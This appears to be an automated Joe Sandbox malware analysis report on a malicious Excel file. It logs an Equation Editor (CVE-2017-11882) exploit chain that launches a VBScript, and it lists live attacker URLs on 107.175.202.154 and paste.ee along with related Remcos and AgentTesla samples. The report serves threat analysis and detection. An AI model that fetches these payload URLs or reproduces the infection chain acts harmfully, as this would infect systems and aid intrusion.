Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: Product list 0980DF098A7.xls	Stream path 'MBD00014726/CONTENTS' entropy: 7.9671168067 (max. 8.0)
Source: Product list 0980DF098A7.xls	Stream path 'MBD00014727/CONTENTS' entropy: 7.91669502048 (max. 8.0)
Source: Product list 0980DF098A7.xls	Stream path 'Workbook' entropy: 7.99804467882 (max. 8.0)
Source: E6630000.0.dr	Stream path 'MBD00014726/CONTENTS' entropy: 7.9671168067 (max. 8.0)
Source: E6630000.0.dr	Stream path 'MBD00014727/CONTENTS' entropy: 7.91669502048 (max. 8.0)
Source: E6630000.0.dr	Stream path 'Workbook' entropy: 7.99872891303 (max. 8.0)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3392

Thread sleep time: -300000s >= -30000s

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

API call chain: ExitProcess graph end node

graph_10-1404

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 10_2_03420646 mov edx, dword ptr fs:[00000030h]

10_2_03420646

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe	Network Connect: 104.21.84.67 80			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Domain query: paste.ee

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\loveforsave.vbs"

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	33 Exploitation for Client Execution	121 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	1 Virtualization/Sandbox Evasion	Remote Services	Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	23 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Product list 0980DF098A7.xls	11%	ReversingLabs
Product list 0980DF098A7.xls	18%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto[1].doc	100%	Avira	HEUR/Rtf.Malformed
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{9884DA1E-FD29-4340-AB77-A6BEF9386CEC}.tmp	100%	Avira	EXP/CVE-2017-11882.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C5290082.doc	100%	Avira	HEUR/Rtf.Malformed

Source	Detection	Scanner	Label	Link
http://107.175.202.154/rmc/beautifulpeop	100%	Avira URL Cloud	malware
http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnolog	100%	Avira URL Cloud	malware
http://107.175.202.154/46900/loveforsave.vbsppC:	100%	Avira URL Cloud	malware
http://107.175.202.154/46900/loveforsave.vbsalt	100%	Avira URL Cloud	malware
http://107.175.202.154/46900/loveforsave.vbs$	100%	Avira URL Cloud	malware
http://107.175.202.154/rmc/beautifulpeop	13%	Virustotal		Browse
http://107.175.202.154/46900/loveforsave.vbs	100%	Avira URL Cloud	malware
http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC	100%	Avira URL Cloud	malware
http://107.175.202.154/rmc/	100%	Avira URL Cloud	malware
http://107.175.202.154/46900/loveforsave.vbsj	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
paste.ee	104.21.84.67	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://paste.ee/d/enGXm	false		high
http://107.175.202.154/46900/loveforsave.vbs	true	Avira URL Cloud: malware	unknown
http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://107.175.202.154/rmc/beautifulpeop	Product list 0980DF098A7.xls	false	13%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://107.175.202.154/rmc/beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnolog	E6630000.0.dr, beautifulpeoplesaroundtheworldtodevelopnewthingswiththeworldwidetechnologyformicrosoftballonsystemdevelopementpcpcto.doC.url.4.dr, ~DFF965D8A88A314F5E.TMP.0.dr	false	Avira URL Cloud: malware	unknown
http://107.175.202.154/46900/loveforsave.vbsalt	EQNEDT32.EXE, 0000000A.00000002.430879838.000000000054F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://paste.ee/d/enGXmnged	wscript.exe, 0000000B.00000003.499402058.000000000080D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.175.202.154/46900/loveforsave.vbs$	EQNEDT32.EXE, 0000000A.00000002.430879838.000000000054F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://107.175.202.154/46900/loveforsave.vbsppC:	EQNEDT32.EXE, 0000000A.00000002.430879838.000000000054F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://107.175.202.154/rmc/	rmc on 107.175.202.154.url.4.dr	false	Avira URL Cloud: malware	unknown
http://107.175.202.154/46900/loveforsave.vbsj	EQNEDT32.EXE, 0000000A.00000002.431072220.0000000003420000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.84.67	paste.ee	United States		13335	CLOUDFLARENETUS	false
107.175.202.154	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1392858
Start date and time:	2024-02-15 14:17:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Product list 0980DF098A7.xls
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@14/45@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 6 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Active ActiveX Object Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, svchost.exe
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
14:19:04	API Interceptor	31x Sleep call for process: EQNEDT32.EXE modified
14:19:05	API Interceptor	491x Sleep call for process: wscript.exe modified
14:19:14	API Interceptor	184x Sleep call for process: AcroRd32.exe modified
14:19:32	API Interceptor	40x Sleep call for process: RdrCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.84.67	Payment_advice.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/wXm0Y
	SHREE GANESH BOOK SERVICES-347274.xls	Get hash	malicious	Unknown	Browse	paste.ee/d/eA3FM
	dereac.vbe	Get hash	malicious	Unknown	Browse	paste.ee/d/JZHbW
	P018400.xla.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/kmRFs
	comprobante0089.xla.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/cJo7v
	RFQ l MR24000112.xla.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/EgkAG
	87645345.vbs	Get hash	malicious	XWorm	Browse	paste.ee/d/IJGyf
	182763543.vbs	Get hash	malicious	XWorm	Browse	paste.ee/d/0kkOm
	PaymentEUR41000.xls	Get hash	malicious	Remcos	Browse	paste.ee/d/oVqcS
	RFQ-#Uacac#Uc801#Uc758#Ub8b0#Uc11c-#Uacac#Uc801#Uc758#Ub8b0#Uc11c.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/6VwxD
107.175.202.154	oerder specifications.xls	Get hash	malicious	Remcos	Browse	107.175.202.154/6666/LLCR.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
paste.ee	ODC#PO 4500628950098574654323567875765674433##633.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.187.200
	Purchase Order PO0193832.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	Payment_advice.vbs	Get hash	malicious	Unknown	Browse	104.21.84.67
	SHREE GANESH BOOK SERVICES-347274.xls	Get hash	malicious	Unknown	Browse	104.21.84.67
	dereac.vbe	Get hash	malicious	Unknown	Browse	104.21.84.67
	Name.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	P018400.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.84.67
	517209487.vbs	Get hash	malicious	XWorm	Browse	172.67.187.200
	comprobante0089.xla.xlsx	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	RFQ l MR24000112.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.84.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	https://emails.insurancebusinessmag.com/e3t/Ctc/I8+113/d2zjxh04/VW6MJZ3VsG_FW59y6sK5CSs0DW7vv0b_59w_LDN3DlwGW3qgyTW95jsWP6lZ3pnW1Lk0VP2nvPGGW2Xk_qt38sGysN7zvKMv51TnpVNLfGL2Y4y5nW4xZ_495G_MNBW7Md-kN48pBLzVP_Sbm8YLGhvW2_Dt7-8Y-2d6W8PvxMX1pNkspW5HB4ZZ8lTxJ4W6sdDSx73qKmwW9f_1248yq_JdW8lT3vj8VM8BhW88FCLX6pL2dQW31lbRb1fJD8SW6SlWz17cY4WWW9kR85K1HNMvHVc6nkv1BLpKSW4lcsvZ5xxct8W993L8-1_l2F-W8lKlnP5BX528W2KR4NP9jytmLW14HJbz10WLxkW1fss5C6bTz4VW6c0tM070QDhpW5V8-zV3N2bxjW4w8sgH1zQ1pgW8TrVXK6HsHJ8Vv255V4KlhgsW3NdB0Z7FClb_f40hfm204	Get hash	malicious	Unknown	Browse	23.95.182.9
	DTR00000009000.cmd.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	FA98655890008000.bat.exe	Get hash	malicious	PureLog Stealer, Remcos	Browse	107.175.229.139
	ODC#PO 4500628950098574654323567875765674433##633.xla.xlsx	Get hash	malicious	Unknown	Browse	172.245.214.91
	https://www.youdaizc.cn/	Get hash	malicious	Unknown	Browse	198.23.229.208
	https://www.vktndvw.cn/	Get hash	malicious	Unknown	Browse	198.23.229.208
	z15TFDG098700080000800.BAT.exe	Get hash	malicious	Remcos	Browse	107.175.229.139
	3PDFfdp.exe	Get hash	malicious	DarkTortilla, Remcos	Browse	107.175.229.139
	6fdp.exe	Get hash	malicious	DarkTortilla, Remcos	Browse	107.175.229.139
	http://www.resisystems.co.uk/	Get hash	malicious	Unknown	Browse	23.95.182.9
CLOUDFLARENETUS	lods.cmd	Get hash	malicious	Remcos	Browse	104.26.12.205
	#U0417#U0430#U043f#U0438#U0442.docx.exe	Get hash	malicious	LummaC	Browse	104.21.4.139
	VESSEL PARTICULARS & INSTRUCTIONS_docx.exe	Get hash	malicious	FormBook, GuLoader	Browse	104.21.26.210
	BUNQ00009082342624.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	RFQ__AYLLA CAFE (FEB-2024)_pdf.gz.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	ZHANHIpb428A2Aa.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	file.exe	Get hash	malicious	LummaC	Browse	104.21.59.108
	wl3mdANz5E.exe	Get hash	malicious	RedLine	Browse	104.20.67.143
	INV2024020090.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	Frapendiente-2024.exe	Get hash	malicious	LummaC, MicroClip	Browse	172.67.154.29

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0018741110582386662
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE+/Fl:/M/xT02z
MD5:	5BAE925BE711A4FE6D911729A89C178C
SHA1:	ECBA616BD247309B85BB03D1537F48401EB1077A
SHA-256:	5C0912E862980B1C2B8A909A1BAB6BFE2F4CB8E70BC0759181851AFF95BAE867
SHA-512:	0A095E5E69C9BD3071EE49EC8EE05AED1A6640E017ED5562DF86E5CDE239953B67E0BF47090CDF038991E954F6439A8CDC9D0BCA03A188FD510EE4A9C8A18318
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.248343795645232
Encrypted:	false
SSDEEP:	6:aUoWBN+q2PP2nKuAl9OmbnIFUt8XUoldXZmw+XUold3VkwOP2nKuAl9OmbjLJ:aFWIvWHAahFUt8XFldX/+XFldF57HAae
MD5:	F6DE8F7F9D17380FB6F6826A0395EBFA
SHA1:	5B146E067081A9FD448A9B9514573B5B6532D521
SHA-256:	2217FAD4120B3248BE4181432DD57D35378927B0130EC5C9A34E0ABBBD29C8BC
SHA-512:	C8EB8F2AEFBB4072F8A632A98561236DB3E3CE97F39678CCD896DF35A08A69F1ADF3AD39DF4FFC68E6B80209567DF344484010A82721EDE09B1C3AAEDAB3FA7D
Malicious:	false
Reputation:	low
Preview:	2024/02/15-14:19:33.741 3188 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/02/15-14:19:33.742 3188 Recovering log #3.2024/02/15-14:19:33.742 3188 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.248343795645232
Encrypted:	false
SSDEEP:	6:aUoWBN+q2PP2nKuAl9OmbnIFUt8XUoldXZmw+XUold3VkwOP2nKuAl9OmbjLJ:aFWIvWHAahFUt8XFldX/+XFldF57HAae
MD5:	F6DE8F7F9D17380FB6F6826A0395EBFA
SHA1:	5B146E067081A9FD448A9B9514573B5B6532D521
SHA-256:	2217FAD4120B3248BE4181432DD57D35378927B0130EC5C9A34E0ABBBD29C8BC
SHA-512:	C8EB8F2AEFBB4072F8A632A98561236DB3E3CE97F39678CCD896DF35A08A69F1ADF3AD39DF4FFC68E6B80209567DF344484010A82721EDE09B1C3AAEDAB3FA7D
Malicious:	false
Reputation:	low
Preview:	2024/02/15-14:19:33.741 3188 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/02/15-14:19:33.742 3188 Recovering log #3.2024/02/15-14:19:33.742 3188 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

